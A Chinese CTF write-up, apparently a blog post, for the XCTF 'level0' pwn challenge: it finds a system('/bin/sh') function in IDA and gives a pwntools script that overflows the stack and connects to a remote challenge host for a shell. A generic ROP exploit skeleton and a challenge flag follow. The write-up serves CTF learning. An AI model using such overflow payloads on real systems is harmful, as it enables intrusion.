[攻防世界 pwn]——level0

这篇博客介绍了如何在开启NX保护的环境中,通过IDA分析找到`system(/bin/sh)`函数,并构造payload修改返回地址来执行shell。作者使用了Python的pwn库远程连接到靶机并发送payload,成功获得了交互式shell。
部署运行你感兴趣的模型镜像

[攻防世界 pwn]——level0

  • 题目地址: https://adworld.xctf.org.cn/
  • 题目:
    在这里插入图片描述
    checksec看下保护类型,开启了NX保护
    在这里插入图片描述
    IDA中看下,发现了system("/bin/sh")函数,返回地址修改为该函数就可以
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

exploit

from pwn import *
#p = process("./pwn")
p = remote("111.200.241.244",40322)
sys_addr = 0x0400596

payload = 'a'*(0x80+8) + p64(sys_addr)
p.sendline(payload)
p.interactive()

您可能感兴趣的与本文相关的镜像

Python3.9

Python3.9

Conda
Python

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

### 关于CTF PWN题目解题思路 在攻防世界的CTF竞赛中,PWN类题目通常涉及对二进制程序漏洞的挖掘与利用。这类题目旨在考察参赛者对于常见安全漏洞的理解以及编写有效载荷(Payload)的能力。 #### 格式化字符串漏洞及其应用实例 格式化字符串漏洞是一种常见的缓冲区溢出之外的安全隐患,在某些情况下可以被用来执行任意代码或泄露敏感信息。当应用程序未能正确处理用户输入作为格式说明符时就会发生这种类型的错误[^2]。例如,在`printf()`函数调用过程中如果允许外部控制其参数,则可能导致未预期的行为。 #### 利用返回导向编程技术实现GetShell 为了完成level2级别的挑战并最终获得shell访问权限,选手可能需要运用ROP(Return-Oriented Programming)技巧来绕过现代操作系统所实施的各种保护机制,比如DEP(Data Execution Prevention)[^1]。通过精心构建一系列gadget链表,可以在不修改原始二进制文件的情况下改变程序流从而达到特定目的——即获取目标系统的完全控制权。 #### 成功案例分析 有记录显示某位参与者成功解决了名为CyberPeace的比赛项目,并得到了标志性的胜利消息:“cyberpeace{66c82e120023fc25f9ab807a58058288}”。这表明该名玩家不仅掌握了必要的理论知识而且能够实际操作以达成既定的目标[^3]。 ```python from pwn import * # 这里仅提供一个简单的框架用于理解如何设置环境变量和连接远程服务器 def exploit(): context.log_level = 'debug' # 设置target IP 和 port target_ip = "example.com" target_port = 1234 # 创建process对象 或 remote 对象取决于比赛给出的信息 conn = remote(target_ip, target_port) # 发送payload前先交互一些初始命令/数据... conn.recvuntil(b'prompt>') payload = b'A'*offset + rop_chain() # offset 是偏移量;rop_chain 函数生成ROP gadget序列 conn.sendline(payload) # 获取shell后可继续发送其他指令直到结束会话 conn.interactive() if __name__ == "__main__": exploit() ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值